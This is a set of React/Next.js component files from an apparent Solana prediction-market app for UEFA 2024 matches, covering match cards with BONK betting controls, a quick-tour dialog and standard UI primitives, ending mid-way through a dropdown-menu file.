FILE: components/market-stats.tsx
================================================
"use client";

import useAnchorProgram from "@/hooks/useAnchorProgram";
import { Card, CardContent, CardHeader, CardTitle } from "./ui/card";
import { Skeleton } from "./ui/skeleton";
import { usePollById } from "@/hooks/queries/usePollById";
import { Separator } from "./ui/separator";

const MarketStats = ({
  matchId,
  profitScore,
  reputationScore,
}: {
  matchId: number;
  profitScore: string;
  reputationScore: string;
}) => {
  const program = useAnchorProgram();

  const { data: poll, isLoading: isLoadingPoll } = usePollById(
    program,
    matchId,
    true
  );
  return (
    <Card className="h-fit">
      <CardHeader>
        <CardTitle className="text-lg">Additional Data 📊</CardTitle>
      </CardHeader>
      <CardContent>
        {poll ? (
          <div className="">
            {poll.numForecasters.toString()} participant
            {poll.numForecasters.toNumber() !== 1 ? "s" : ""}
          </div>
        ) : (
          <Skeleton className="w-8 h-5 rounded-md" />
        )}
        <Separator className="my-2" />
        <div className="flex gap-4">
          <p>Your profit:</p>
          <p>{profitScore}</p>
        </div>
        <div className="flex gap-4">
          <p>Your score:</p>
          <p>{reputationScore}</p>
        </div>
      </CardContent>
    </Card>
  );
};

export default MarketStats;


================================================
FILE: components/match-card.tsx
================================================
"use client";

import { Match } from "@/lib/dummyData";
import { Button } from "./ui/button";
import { Slider } from "./ui/slider";
import Image from "next/image";
import {
  Card,
  CardContent,
  CardDescription,
  CardFooter,
  CardHeader,
  CardTitle,
} from "./ui/card";
import { Separator } from "./ui/separator";
import Link from "next/link";
import { RiArrowRightDoubleLine } from "react-icons/ri";
import useAnchorProgram from "@/hooks/useAnchorProgram";
import { useConnection, useWallet } from "@solana/wallet-adapter-react";
import { useUserEstimateByPoll } from "@/hooks/queries/useUserEstimateByPoll";
import { useMakeEstimate } from "@/hooks/mutations/useMakeEstimate";
import { useUserScore } from "@/hooks/queries/useUserScore";
import { useUpdateEstimate } from "@/hooks/mutations/useUpdateEstimate";
import { useCollectPoints } from "@/hooks/mutations/useCollectPoints";
import { useEffect, useRef, useState } from "react";
import { usePollById } from "@/hooks/queries/usePollById";
import { Skeleton } from "./ui/skeleton";
import { TbLoader2 } from "react-icons/tb";
import useIntersectionObserver from "@/hooks/useIntersectionObserver";
import clsx from "clsx";
import { Badge } from "./ui/badge";

export const MatchCard = ({ match }: { match: Match }) => {
  const program = useAnchorProgram();
  const { connection } = useConnection();
  const wallet = useWallet();

  const ref = useRef<HTMLDivElement | null>(null);
  const isVisible =
    useIntersectionObserver(ref, { threshold: 0.1 }) &&
    match.teamA !== "tbd" &&
    match.teamB !== "tbd";

  const matchId = Number.parseInt(match.id) - 1;
  const {
    data: userEstimate,
    isError: isErrorEstimate,
    error: errorEstimate,
    isLoading: isLoadingEstimate,
  } = useUserEstimateByPoll(
    program,
    connection,
    wallet.publicKey,
    matchId,
    isVisible
  );

  const {
    data: poll,
    isLoading: isLoadingPoll,
    isError: isErrorPoll,
    error: errorPoll,
  } = usePollById(program, matchId, isVisible);

  const { data: userScore, isLoading: isLoadingScore } = useUserScore(
    program,
    connection,
    wallet.publicKey,
    matchId,
    isVisible
  );

  const { mutate: submitEstimate, isPending: isSubmitting } = useMakeEstimate(
    program,
    connection,
    wallet
  );
  const { mutate: updateEstimate, isPending: isUpdating } = useUpdateEstimate(
    program,
    connection,
    wallet
  );
  const { mutate: collectPoints, isPending: isCollecting } = useCollectPoints(
    program,
    connection,
    wallet
  );

  const [estimate, setEstimate] = useState(
    userEstimate !== null && userEstimate !== undefined
      ? (userEstimate.lowerEstimate + userEstimate.upperEstimate) / 2
      : undefined
  );

  useEffect(() => {
    if (userEstimate !== null && userEstimate !== undefined) {
      setEstimate(
        (userEstimate.lowerEstimate + userEstimate.upperEstimate) / 2
      );
    }
  }, [userEstimate]);

  const handleChange = (estimate: [number]) => {
    setEstimate(estimate[0]);
  };

  const isLive = poll?.hasStarted && poll?.result == null;

  return (
    <Card ref={ref} className="w-full mx-4 sm:mx-0 sm:w-[25rem]">
      <CardHeader>
        <CardDescription>
          <div className="flex justify-between">
            {match.date}
            {isLive && (
              <Badge>
                <span className="block w-[6px] h-[6px] bg-red-500 rounded-full drop-shadow-[0_0px_8px_#F7931A10)] animate-ping mr-2"></span>
                Live
              </Badge>
            )}
          </div>
        </CardDescription>
        <CardTitle className="flex w-1/2 gap-4 items-center">
          <Image
            width={36}
            height={27}
            alt="Flag of team A"
            src={match.logoA ? match.logoA : "https://via.placeholder.com/50"}
          />
          <span className="text-lg font-bold">{match.teamA}</span>
          <span className="ml-auto">{match.resultA}</span>
        </CardTitle>
        <CardTitle className="flex w-1/2 gap-4 pt-4 items-center">
          <Image
            width={36}
            height={27}
            alt="Flag of team B"
            src={match.logoB ? match.logoB : "https://via.placeholder.com/50"}
          />
          <span className="text-lg font-bold">{match.teamB}</span>
          <span className="ml-auto">{match.resultB}</span>
        </CardTitle>
      </CardHeader>
      <CardContent>
        <Separator className="mb-4" />
        <p className="block text-md font-semibold mb-2">
          Prob. that {match.teamA} wins
        </p>
        <div className="flex w-3/5 sm:w-1/2 justify-between">
          <p className="block text-sm">Market Prediction:</p>
          <p className="text-sm font-bold">
            {poll && poll.collectiveEstimate !== null
              ? (poll.collectiveEstimate / 10000).toFixed(0) + "%"
              : "-"}
          </p>
        </div>
        <div className="flex w-3/5 sm:w-1/2 justify-between">
          <p className="block text-sm">Your Prediction:</p>
          <p
            className={clsx(
              "text-sm font-bold",
              estimate !== userEstimate?.lowerEstimate
                ? "dark:text-yellow-300"
                : ""
            )}
          >
            {estimate !== undefined ? estimate + "%" : "-"}
          </p>
        </div>
        <div className="flex gap-4 items-center">
          <Slider
            onValueChange={handleChange}
            value={[estimate !== undefined ? estimate : 50]}
            max={100}
            step={1}
            className="my-4"
            disabled={poll?.result !== null}
          />
          <Button
            variant={"secondary"}
            disabled={poll?.result !== null}
            size={"sm"}
            onClick={() => {
              if (userEstimate !== null && userEstimate !== undefined) {
                setEstimate(
                  (userEstimate.lowerEstimate + userEstimate.upperEstimate) / 2
                );
              } else {
                setEstimate(undefined);
              }
            }}
          >
            Reset
          </Button>
        </div>
      </CardContent>
      <CardFooter>
        <div className="w-full flex gap-4 items-center justify-between">
          {isLoadingPoll ? (
            <Skeleton className="w-3/5 h-9 rounded-md" />
          ) : poll?.result !== null ? (
            userScore === null || userScore === undefined || isLoadingScore ? (
              <div>
                {poll !== undefined ? (
                  poll.result ? (
                    <div className="text-primary font-bold">
                      {match.teamA} won!
                    </div>
                  ) : (
                    <div className="text-primary font-bold">
                      {match.teamA} did not win!
                    </div>
                  )
                ) : (
                  ""
                )}
              </div>
            ) : (
              <Button
                disabled={isCollecting}
                className="w-3/5"
                onClick={() => collectPoints({ pollId: matchId })}
              >
                {isCollecting && (
                  <TbLoader2 className="mr-2 h-4 w-4 animate-spin" />
                )}
                Withdraw your funds
              </Button>
            )
          ) : userEstimate !== undefined && userEstimate !== null ? (
            <Button
              disabled={
                isUpdating ||
                (estimate === userEstimate.lowerEstimate &&
                  estimate === userEstimate.upperEstimate)
              }
              className="w-3/5"
              onClick={() =>
                updateEstimate({
                  pollId: matchId,
                  lowerEstimate: estimate,
                  upperEstimate: estimate,
                })
              }
            >
              {isUpdating && (
                <TbLoader2 className="mr-2 h-4 w-4 animate-spin" />
              )}
              Update Estimate
            </Button>
          ) : (
            <Button
              disabled={isSubmitting || estimate === undefined}
              className="font-bold rounded w-full "
              onClick={() =>
                submitEstimate({
                  pollId: matchId,
                  lowerEstimate: estimate,
                  upperEstimate: estimate,
                })
              }
            >
              {isSubmitting && (
                <TbLoader2 className="mr-2 h-4 w-4 animate-spin" />
              )}
              Bet 100 BONK
            </Button>
          )}

          <Button size={"sm"} variant={"ghost"} asChild>
            <Link className="text-xs" href={"/match/" + match.id}>
              <RiArrowRightDoubleLine className="mr-2" /> Details
            </Link>
          </Button>
        </div>
      </CardFooter>
    </Card>
  );
};


================================================
FILE: components/match-day.tsx
================================================
import { Match } from "@/lib/dummyData";
import { MatchCard } from "./match-card";

export const MatchDay = ({
  id,
  title,
  matches,
}: {
  id: string;
  title: string;
  matches: Match[];
}) => {
  return (
    <div className="mb-8">
      <div className="flex gap-4 items-center mb-8 justify-center">
        <h2 id={id} className="text-4xl font-bold text-center">
          {title}
        </h2>
      </div>
      <div className={`flex flex-wrap justify-center gap-5 md:gap-x-10`}>
        {matches.map((match: Match) => (
          <MatchCard key={match.id} match={match} />
        ))}
      </div>
    </div>
  );
};


================================================
FILE: components/nav-bar.tsx
================================================
import Link from "next/link";
import ConnectWalletButton from "./connect-wallet-button";
import Image from "next/image";
import QuickTourDialog from "./quick-tour-dialog";
import { DarkModeToggle } from "./dark-mode-toggle";
require("@solana/wallet-adapter-react-ui/styles.css");

export const NavBar = () => {
  return (
    <header>
      <div className="border-b px-4 py-4">
        <div className="flex h-16 items-center gap-1 sm:gap-8">
          {/* Keep it as comment because I think it will be used soon */}
          {/* <MainNav /> */}
          {/* <MobileNav /> */}

          <Link
            href="/"
            className="text-sm font-medium hover:cursor-pointer"
            prefetch={false}
          >
            <p className="text-lg">UEFA 2024</p>
            <span className="sm:flex hidden items-center gap-1 text-xs">
              powered by
              <Image width={20} height={20} alt="Logo" src={"/Poe.png"} />
            </span>
          </Link>
          <Link
            href="/leaderboard"
            className="ml-auto text-sm font-medium hover:bg-yellow-500 p-2 hover:bg-opacity-20 rounded-md"
            prefetch={false}
          >
            Leaderboard
          </Link>
          <div className="flex items-center md:space-x-4">
            <ConnectWalletButton />
          </div>
          <DarkModeToggle />
        </div>
      </div>
    </header>
  );
};


================================================
FILE: components/quick-tour-dialog.tsx
================================================
"use client";

import useAnchorProgram from "@/hooks/useAnchorProgram";
import { Button } from "./ui/button";
import {
  Carousel,
  CarouselContent,
  CarouselItem,
  CarouselNext,
  CarouselPrevious,
} from "./ui/carousel";
import { Dialog, DialogContent, DialogTrigger } from "./ui/dialog";
import { useConnection, useWallet } from "@solana/wallet-adapter-react";
import { useUserAccount } from "@/hooks/queries/useUserAccount";
import { useRegisterUser } from "@/hooks/mutations/useRegisterUser";

const QuickTourDialog = () => {
  const program = useAnchorProgram();
  const { connection } = useConnection();
  const wallet = useWallet();
  const { data: userAccount, isLoading: isScoreLoading } = useUserAccount(
    program,
    connection,
    wallet.publicKey
  );

  const { mutate: registerUser } = useRegisterUser(program, connection, wallet);

  return (
    <Dialog>
      <DialogTrigger>
        <Button asChild>
          <div>Quick Tour</div>
        </Button>
      </DialogTrigger>
      <DialogContent>
        <Carousel>
          <CarouselContent>
            <CarouselItem>
              <div className="flex flex-col gap-4">
                <div className="text-lg md:text-xl font-bold">
                  Predict Probabilities, not just outcomes!
                </div>
                <div className="w-5/6 sm:w-full">
                  With Poe, you predict how likely something is to happen. Your
                  betting stake goes into a pool. Poe uses a special system to
                  score your forecast and determine your payout.
                </div>
              </div>
            </CarouselItem>
            <CarouselItem>
              <div className="flex flex-col gap-4">
                <div className="text-lg md:text-xl font-bold">
                  Always in the Game!
                </div>
                <div className="w-5/6 sm:w-full">
                  Update your beliefs as you learn more and the match
                  progresses. Poe will calculate a time-averaged score after the
                  end of the match which determines your payout.
                </div>
              </div>
            </CarouselItem>
            <CarouselItem>
              <div className="flex flex-col gap-4">
                <div className="text-lg md:text-xl font-bold">
                  Get rewarded for your insights!
                </div>
                <div className="w-5/6 sm:w-full">
                  Just submit your beliefs. If you are right, you make a profit
                  in expectation. Mint your 4000 BONK token to get started!
                </div>
                {userAccount === null && !isScoreLoading ? (
                  <Button className="w-1/2" onClick={() => registerUser()}>
                    Mint BONK
                  </Button>
                ) : (
                  <Button className="w-1/2" disabled>
                    Bonk already minted!
                  </Button>
                )}
              </div>
            </CarouselItem>
          </CarouselContent>
          <CarouselPrevious />
          <CarouselNext />
        </Carousel>
      </DialogContent>
    </Dialog>
  );
};

export default QuickTourDialog;


================================================
FILE: components/sidenav.tsx
================================================
"use client";

import QuickTourDialog from "./quick-tour-dialog";

export default function SideNav() {
  return (
    <div className="flex flex-col items-start py-4 px-10 gap-8 mt-4 pb-40 fixed h-full overflow-scroll">
      <QuickTourDialog />
      <SideNavItem id="matchday1" title="Matchday 1" />
      <SideNavItem id="matchday2" title="Matchday 2" />
      <SideNavItem id="matchday3" title="Matchday 3" />
      <SideNavItem id="round16" title="Round of 16" />
      <SideNavItem id="quarter" title="Quarter Finals" />
      <SideNavItem id="semi" title="Semi Finals" />
      <SideNavItem id="final" title="Finals" />
    </div>
  );
}

function scrollTo(id: string) {
  const element = document.getElementById(id);
  element?.scrollIntoView({ behavior: "smooth" });
}

const SideNavItem = ({ id, title }: { id: string; title: string }) => {
  return (
    <div
      onClick={() => scrollTo(id)}
      className="text-lg p-2 rounded-md font-semibold hover:cursor-pointer hover:bg-slate-300"
    >
      {title}
    </div>
  );
};


================================================
FILE: components/ui/avatar.tsx
================================================
"use client"

import * as React from "react"
import * as AvatarPrimitive from "@radix-ui/react-avatar"

import { cn } from "@/lib/utils"

const Avatar = React.forwardRef<
  React.ElementRef<typeof AvatarPrimitive.Root>,
  React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Root>
>(({ className, ...props }, ref) => (
  <AvatarPrimitive.Root
    ref={ref}
    className={cn(
      "relative flex h-10 w-10 shrink-0 overflow-hidden rounded-full",
      className
    )}
    {...props}
  />
))
Avatar.displayName = AvatarPrimitive.Root.displayName

const AvatarImage = React.forwardRef<
  React.ElementRef<typeof AvatarPrimitive.Image>,
  React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Image>
>(({ className, ...props }, ref) => (
  <AvatarPrimitive.Image
    ref={ref}
    className={cn("aspect-square h-full w-full", className)}
    {...props}
  />
))
AvatarImage.displayName = AvatarPrimitive.Image.displayName

const AvatarFallback = React.forwardRef<
  React.ElementRef<typeof AvatarPrimitive.Fallback>,
  React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Fallback>
>(({ className, ...props }, ref) => (
  <AvatarPrimitive.Fallback
    ref={ref}
    className={cn(
      "flex h-full w-full items-center justify-center rounded-full bg-muted",
      className
    )}
    {...props}
  />
))
AvatarFallback.displayName = AvatarPrimitive.Fallback.displayName

export { Avatar, AvatarImage, AvatarFallback }


================================================
FILE: components/ui/badge.tsx
================================================
import * as React from "react"
import { cva, type VariantProps } from "class-variance-authority"

import { cn } from "@/lib/utils"

const badgeVariants = cva(
  "inline-flex items-center rounded-md border px-2.5 py-0.5 text-xs font-semibold transition-colors focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2",
  {
    variants: {
      variant: {
        default:
          "border-transparent bg-primary text-primary-foreground shadow hover:bg-primary/80",
        secondary:
          "border-transparent bg-secondary text-secondary-foreground hover:bg-secondary/80",
        destructive:
          "border-transparent bg-destructive text-destructive-foreground shadow hover:bg-destructive/80",
        outline: "text-foreground",
      },
    },
    defaultVariants: {
      variant: "default",
    },
  }
)

export interface BadgeProps
  extends React.HTMLAttributes<HTMLDivElement>,
    VariantProps<typeof badgeVariants> {}

function Badge({ className, variant, ...props }: BadgeProps) {
  return (
    <div className={cn(badgeVariants({ variant }), className)} {...props} />
  )
}

export { Badge, badgeVariants }


================================================
FILE: components/ui/button.tsx
================================================
import * as React from "react";
import { Slot } from "@radix-ui/react-slot";
import { cva, type VariantProps } from "class-variance-authority";

import { cn } from "@/lib/utils";

const buttonVariants = cva(
  "inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50",
  {
    variants: {
      variant: {
        default:
          "bg-primary text-primary-foreground shadow hover:bg-primary/90",
        destructive:
          "bg-destructive text-destructive-foreground shadow-sm hover:bg-destructive/90",
        outline:
          "border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground",
        secondary:
          "bg-secondary text-secondary-foreground shadow-sm hover:bg-secondary/80",
        ghost: "hover:bg-accent hover:text-accent-foreground",
        link: "text-primary underline-offset-4 hover:underline",
      },
      size: {
        default: "h-9 px-4 py-2",
        xs: "h-5 rounded-md px-2 text-xs",
        sm: "h-8 rounded-md px-3 text-xs",
        lg: "h-10 rounded-md px-8",
        icon: "h-9 w-9",
      },
    },
    defaultVariants: {
      variant: "default",
      size: "default",
    },
  }
);

export interface ButtonProps
  extends React.ButtonHTMLAttributes<HTMLButtonElement>,
    VariantProps<typeof buttonVariants> {
  asChild?: boolean;
}

const Button = React.forwardRef<HTMLButtonElement, ButtonProps>(
  ({ className, variant, size, asChild = false, ...props }, ref) => {
    const Comp = asChild ? Slot : "button";
    return (
      <Comp
        className={cn(buttonVariants({ variant, size, className }))}
        ref={ref}
        {...props}
      />
    );
  }
);
Button.displayName = "Button";

export { Button, buttonVariants };


================================================
FILE: components/ui/card.tsx
================================================
import * as React from "react"

import { cn } from "@/lib/utils"

const Card = React.forwardRef<
  HTMLDivElement,
  React.HTMLAttributes<HTMLDivElement>
>(({ className, ...props }, ref) => (
  <div
    ref={ref}
    className={cn(
      "rounded-xl border bg-card text-card-foreground shadow",
      className
    )}
    {...props}
  />
))
Card.displayName = "Card"

const CardHeader = React.forwardRef<
  HTMLDivElement,
  React.HTMLAttributes<HTMLDivElement>
>(({ className, ...props }, ref) => (
  <div
    ref={ref}
    className={cn("flex flex-col space-y-1.5 p-6", className)}
    {...props}
  />
))
CardHeader.displayName = "CardHeader"

const CardTitle = React.forwardRef<
  HTMLParagraphElement,
  React.HTMLAttributes<HTMLHeadingElement>
>(({ className, ...props }, ref) => (
  <h3
    ref={ref}
    className={cn("font-semibold leading-none tracking-tight", className)}
    {...props}
  />
))
CardTitle.displayName = "CardTitle"

const CardDescription = React.forwardRef<
  HTMLParagraphElement,
  React.HTMLAttributes<HTMLParagraphElement>
>(({ className, ...props }, ref) => (
  <p
    ref={ref}
    className={cn("text-sm text-muted-foreground", className)}
    {...props}
  />
))
CardDescription.displayName = "CardDescription"

const CardContent = React.forwardRef<
  HTMLDivElement,
  React.HTMLAttributes<HTMLDivElement>
>(({ className, ...props }, ref) => (
  <div ref={ref} className={cn("p-6 pt-0", className)} {...props} />
))
CardContent.displayName = "CardContent"

const CardFooter = React.forwardRef<
  HTMLDivElement,
  React.HTMLAttributes<HTMLDivElement>
>(({ className, ...props }, ref) => (
  <div
    ref={ref}
    className={cn("flex items-center p-6 pt-0", className)}
    {...props}
  />
))
CardFooter.displayName = "CardFooter"

export { Card, CardHeader, CardFooter, CardTitle, CardDescription, CardContent }


================================================
FILE: components/ui/carousel.tsx
================================================
"use client";

import * as React from "react";
import { ArrowLeftIcon, ArrowRightIcon } from "@radix-ui/react-icons";
import useEmblaCarousel, {
  type UseEmblaCarouselType,
} from "embla-carousel-react";

import { cn } from "@/lib/utils";
import { Button } from "@/components/ui/button";

type CarouselApi = UseEmblaCarouselType[1];
type UseCarouselParameters = Parameters<typeof useEmblaCarousel>;
type CarouselOptions = UseCarouselParameters[0];
type CarouselPlugin = UseCarouselParameters[1];

type CarouselProps = {
  opts?: CarouselOptions;
  plugins?: CarouselPlugin;
  orientation?: "horizontal" | "vertical";
  setApi?: (api: CarouselApi) => void;
};

type CarouselContextProps = {
  carouselRef: ReturnType<typeof useEmblaCarousel>[0];
  api: ReturnType<typeof useEmblaCarousel>[1];
  scrollPrev: () => void;
  scrollNext: () => void;
  canScrollPrev: boolean;
  canScrollNext: boolean;
} & CarouselProps;

const CarouselContext = React.createContext<CarouselContextProps | null>(null);

function useCarousel() {
  const context = React.useContext(CarouselContext);

  if (!context) {
    throw new Error("useCarousel must be used within a <Carousel />");
  }

  return context;
}

const Carousel = React.forwardRef<
  HTMLDivElement,
  React.HTMLAttributes<HTMLDivElement> & CarouselProps
>(
  (
    {
      orientation = "horizontal",
      opts,
      setApi,
      plugins,
      className,
      children,
      ...props
    },
    ref
  ) => {
    const [carouselRef, api] = useEmblaCarousel(
      {
        ...opts,
        axis: orientation === "horizontal" ? "x" : "y",
      },
      plugins
    );
    const [canScrollPrev, setCanScrollPrev] = React.useState(false);
    const [canScrollNext, setCanScrollNext] = React.useState(false);

    const onSelect = React.useCallback((api: CarouselApi) => {
      if (!api) {
        return;
      }

      setCanScrollPrev(api.canScrollPrev());
      setCanScrollNext(api.canScrollNext());
    }, []);

    const scrollPrev = React.useCallback(() => {
      api?.scrollPrev();
    }, [api]);

    const scrollNext = React.useCallback(() => {
      api?.scrollNext();
    }, [api]);

    const handleKeyDown = React.useCallback(
      (event: React.KeyboardEvent<HTMLDivElement>) => {
        if (event.key === "ArrowLeft") {
          event.preventDefault();
          scrollPrev();
        } else if (event.key === "ArrowRight") {
          event.preventDefault();
          scrollNext();
        }
      },
      [scrollPrev, scrollNext]
    );

    React.useEffect(() => {
      if (!api || !setApi) {
        return;
      }

      setApi(api);
    }, [api, setApi]);

    React.useEffect(() => {
      if (!api) {
        return;
      }

      onSelect(api);
      api.on("reInit", onSelect);
      api.on("select", onSelect);

      return () => {
        api?.off("select", onSelect);
      };
    }, [api, onSelect]);

    return (
      <CarouselContext.Provider
        value={{
          carouselRef,
          api: api,
          opts,
          orientation:
            orientation || (opts?.axis === "y" ? "vertical" : "horizontal"),
          scrollPrev,
          scrollNext,
          canScrollPrev,
          canScrollNext,
        }}
      >
        <div
          ref={ref}
          onKeyDownCapture={handleKeyDown}
          className={cn("relative", className)}
          role="region"
          aria-roledescription="carousel"
          {...props}
        >
          {children}
        </div>
      </CarouselContext.Provider>
    );
  }
);
Carousel.displayName = "Carousel";

const CarouselContent = React.forwardRef<
  HTMLDivElement,
  React.HTMLAttributes<HTMLDivElement>
>(({ className, ...props }, ref) => {
  const { carouselRef, orientation } = useCarousel();

  return (
    <div ref={carouselRef} className="overflow-hidden">
      <div
        ref={ref}
        className={cn(
          "flex",
          orientation === "horizontal" ? "-ml-4" : "-mt-4 flex-col",
          className
        )}
        {...props}
      />
    </div>
  );
});
CarouselContent.displayName = "CarouselContent";

const CarouselItem = React.forwardRef<
  HTMLDivElement,
  React.HTMLAttributes<HTMLDivElement>
>(({ className, ...props }, ref) => {
  const { orientation } = useCarousel();

  return (
    <div
      ref={ref}
      role="group"
      aria-roledescription="slide"
      className={cn(
        "min-w-0 shrink-0 grow-0 basis-full",
        orientation === "horizontal" ? "pl-4" : "pt-4",
        className
      )}
      {...props}
    />
  );
});
CarouselItem.displayName = "CarouselItem";

const CarouselPrevious = React.forwardRef<
  HTMLButtonElement,
  React.ComponentProps<typeof Button>
>(({ className, variant = "outline", size = "icon", ...props }, ref) => {
  const { orientation, scrollPrev, canScrollPrev } = useCarousel();

  return (
    <Button
      ref={ref}
      variant={variant}
      size={size}
      className={cn(
        "absolute  h-8 w-8 rounded-full",
        orientation === "horizontal"
          ? "-left-12 top-1/2 -translate-y-1/2"
          : "-top-12 left-1/2 -translate-x-1/2 rotate-90",
        className
      )}
      disabled={!canScrollPrev}
      onClick={scrollPrev}
      {...props}
    >
      <ArrowLeftIcon className="h-4 w-4" />
      <span className="sr-only">Previous slide</span>
    </Button>
  );
});
CarouselPrevious.displayName = "CarouselPrevious";

const CarouselNext = React.forwardRef<
  HTMLButtonElement,
  React.ComponentProps<typeof Button>
>(({ className, variant = "outline", size = "icon", ...props }, ref) => {
  const { orientation, scrollNext, canScrollNext } = useCarousel();

  return (
    <Button
      ref={ref}
      variant={variant}
      size={size}
      className={cn(
        "absolute h-8 w-8 rounded-full",
        orientation === "horizontal"
          ? "-right-12 top-1/2 -translate-y-1/2"
          : "-bottom-12 left-1/2 -translate-x-1/2 rotate-90",
        className
      )}
      disabled={!canScrollNext}
      onClick={scrollNext}
      {...props}
    >
      <ArrowRightIcon className="h-4 w-4" />
      <span className="sr-only">Next slide</span>
    </Button>
  );
});
CarouselNext.displayName = "CarouselNext";

export {
  type CarouselApi,
  Carousel,
  CarouselContent,
  CarouselItem,
  CarouselPrevious,
  CarouselNext,
};


================================================
FILE: components/ui/dialog.tsx
================================================
"use client"

import * as React from "react"
import * as DialogPrimitive from "@radix-ui/react-dialog"
import { Cross2Icon } from "@radix-ui/react-icons"

import { cn } from "@/lib/utils"

const Dialog = DialogPrimitive.Root

const DialogTrigger = DialogPrimitive.Trigger

const DialogPortal = DialogPrimitive.Portal

const DialogClose = DialogPrimitive.Close

const DialogOverlay = React.forwardRef<
  React.ElementRef<typeof DialogPrimitive.Overlay>,
  React.ComponentPropsWithoutRef<typeof DialogPrimitive.Overlay>
>(({ className, ...props }, ref) => (
  <DialogPrimitive.Overlay
    ref={ref}
    className={cn(
      "fixed inset-0 z-50 bg-black/80  data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",
      className
    )}
    {...props}
  />
))
DialogOverlay.displayName = DialogPrimitive.Overlay.displayName

const DialogContent = React.forwardRef<
  React.ElementRef<typeof DialogPrimitive.Content>,
  React.ComponentPropsWithoutRef<typeof DialogPrimitive.Content>
>(({ className, children, ...props }, ref) => (
  <DialogPortal>
    <DialogOverlay />
    <DialogPrimitive.Content
      ref={ref}
      className={cn(
        "fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg",
        className
      )}
      {...props}
    >
      {children}
      <DialogPrimitive.Close className="absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-accent data-[state=open]:text-muted-foreground">
        <Cross2Icon className="h-4 w-4" />
        <span className="sr-only">Close</span>
      </DialogPrimitive.Close>
    </DialogPrimitive.Content>
  </DialogPortal>
))
DialogContent.displayName = DialogPrimitive.Content.displayName

const DialogHeader = ({
  className,
  ...props
}: React.HTMLAttributes<HTMLDivElement>) => (
  <div
    className={cn(
      "flex flex-col space-y-1.5 text-center sm:text-left",
      className
    )}
    {...props}
  />
)
DialogHeader.displayName = "DialogHeader"

const DialogFooter = ({
  className,
  ...props
}: React.HTMLAttributes<HTMLDivElement>) => (
  <div
    className={cn(
      "flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2",
      className
    )}
    {...props}
  />
)
DialogFooter.displayName = "DialogFooter"

const DialogTitle = React.forwardRef<
  React.ElementRef<typeof DialogPrimitive.Title>,
  React.ComponentPropsWithoutRef<typeof DialogPrimitive.Title>
>(({ className, ...props }, ref) => (
  <DialogPrimitive.Title
    ref={ref}
    className={cn(
      "text-lg font-semibold leading-none tracking-tight",
      className
    )}
    {...props}
  />
))
DialogTitle.displayName = DialogPrimitive.Title.displayName

const DialogDescription = React.forwardRef<
  React.ElementRef<typeof DialogPrimitive.Description>,
  React.ComponentPropsWithoutRef<typeof DialogPrimitive.Description>
>(({ className, ...props }, ref) => (
  <DialogPrimitive.Description
    ref={ref}
    className={cn("text-sm text-muted-foreground", className)}
    {...props}
  />
))
DialogDescription.displayName = DialogPrimitive.Description.displayName

export {
  Dialog,
  DialogPortal,
  DialogOverlay,
  DialogTrigger,
  DialogClose,
  DialogContent,
  DialogHeader,
  DialogFooter,
  DialogTitle,
  DialogDescription,
}


================================================
FILE: components/ui/dropdown-menu.tsx
================================================
"use client"

import * as React from "react"
import * as DropdownMenuPrimitive from "@radix-ui/react-dropdown-menu"
import {
  CheckIcon,
  ChevronRightIcon,
  DotFilledIcon,
} from "@radix-ui/react-icons"

import { cn } from "@/lib/utils"

const DropdownMenu = DropdownMenuPrimitive.Root

const DropdownMenuTrigger = DropdownMenuPrimitive.Trigger

const DropdownMenuGroup = DropdownMenuPrimitive.Group

const DropdownMenuPortal = DropdownMenuPrimitive.Portal

const DropdownMenuSub = DropdownMenuPrimitive.Sub

const DropdownMenuRadioGroup = DropdownMenuPrimitive.RadioGroup

const DropdownMenuSubTrigger = React.forwardRef<
  React.ElementRef<typeof DropdownMenuPrimitive.SubTrigger>,
  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubTrigger> & {
    inset?: boolean
  }
>(({ className, inset, children, ...props }, ref) => (
  <DropdownMenuPrimitive.SubTrigger
    ref={ref}
    className={cn(
      "flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent data-[state=open]:bg-accent",
      inset && "pl-8",
      className
    )}
    {...props}
  >
    {children}
    <ChevronRightIcon className="ml-auto h-4 w-4" />
  </DropdownMenuPrimitive.SubTrigger>
))
DropdownMenuSubTrigger.displayName =
  DropdownMenuPrimitive.SubTrigger.displayName

const DropdownMenuSubContent = React.forwardRef<
  React.ElementRef<typeof DropdownMenuPrimitive.SubContent>,
  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubContent>
>(({ className, ...props }, ref) => (
  <DropdownMenuPrimitive.SubContent
    ref={ref}
    className={cn(
      "z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
      className
    )}
    {...props}
  />
))
DropdownMenuSubContent.displayName =
  DropdownMenuPrimitive.SubContent.displayName

const DropdownMenuContent = React.forwardRef<
  React.ElementRef<typeof DropdownMenuPrimitive.Content>,
